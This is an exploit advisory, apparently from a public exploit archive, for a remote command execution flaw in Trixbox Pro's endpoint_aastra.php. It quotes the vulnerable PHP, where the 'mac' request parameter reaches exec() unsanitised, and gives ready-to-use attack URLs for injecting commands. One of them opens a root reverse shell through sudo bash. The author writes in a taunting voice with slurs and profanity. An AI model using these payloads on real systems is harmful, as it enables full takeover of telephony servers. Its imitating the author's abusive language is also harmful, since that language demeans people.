Trixbox Pro Remote Command Execution

Credit: i-Hmx
Risk: High
Local: No
Remote: Yes

# App : Trixbox all versions # vendor : # Author : i-Hmx # mail : # Home : security arrays inc , , Well well well , we decided to give schmoozecom a break and have a look @ fonality products do you think they have better product than the (Award winning) trixbox!!! I don't think so "Designed and marketed for Fonality's partner community, trixbox Pro is an IP-PBX software solution purpose built to support growing SMB businesses. A unique hybrid hosted telephony solution; trixbox Pro provides big business features at an SMB cost . . blah blah blah" What do we have here?? A 3 years old Sql injection flaw??? not big deal , and already been reported not enough good exploitation , but reported A file disclosure flaw??? save it for later let's give Fonality little Remote root Exploit xD and also give the "Predictors" some pain in the ass trying to exploit this consider it as challenge ;) Here we go Vulnerable file : /var/www/html/maint/modules/endpointcfg/endpoint_aastra.php Pice of shit , sorry i mean code switch($_action) { case 'Edit': if ($_REQUEST['newmac']){ // create a new phone from device map $mac_address = $_REQUEST['newmac']; } if ($_REQUEST['mac']){ $phoneinfo = GetPhone($_REQUEST['mac'],$PhoneType); $mac_address=$phoneinfo['mac_address']; } // if there is a request ID we Edit otherwise add a new phone $freepbx_device_list = GetFreepbxDeviceList(); $smarty->assign("mac_address", $mac_address); $smarty->assign("phone", $phoneinfo); $smarty->assign("freepbx_device_list", $freepbx_device_list); $smarty->assign("message", $message); $template = "endpoint_".$PhoneType."_edit.tpl"; break; case 'Delete': exec("rm ".$sipdir.$_REQUEST['mac'].".cfg"); getSQL("DELETE FROM ".$PhoneType." WHERE mac_address='".$_REQUEST['mac']."'",'endpoints'); $smarty->assign("phones", ListPhones($PhoneType)); $template = "endpoint_".$PhoneType."_list.tpl"; break; it's obvious we care about this line >>>exec("rm ".$sipdir.$_REQUEST['mac'].".cfg");<<< Exploitation demo : maint/modules/endpointcfg/endpoint_aastra.php?action=Delete&mac=fa;echo id>xx;faris result will be written to xx but this is not the full movie yet , Am here to give fonality an night mare , which take the form of "root" privzz actually the server is configured by default to allow the web interface pages to edit many files @ the root directory so any noob can easily execute the "sudo fuck" with out being permited for password , and the result is > root Demo <Back connection with root privs> maint/modules/endpointcfg/endpoint_aastra.php?action=Delete&mac=fa;sudo bash -i >%26 0>%261;faris change to your ip and the port you are listening to and , Volia , you are root now am sure you're happy as pig in shit xD Still need more?? you will notice that you're unable to reach this file due to the http firewall but actually there is simple and yet dirty trick that allow you to get pass through it , and execute your command smooooothely as boat on the river ;) And here come the challenge , let's see what the faggots can do with this ;) need hint??? use your mind and fuck off :/ Big greets fly to the all sec4ever family oh , and for voip lames , you can use our 0Days for sure but once it become 720Days xD Regards, Faris <the Awsome>

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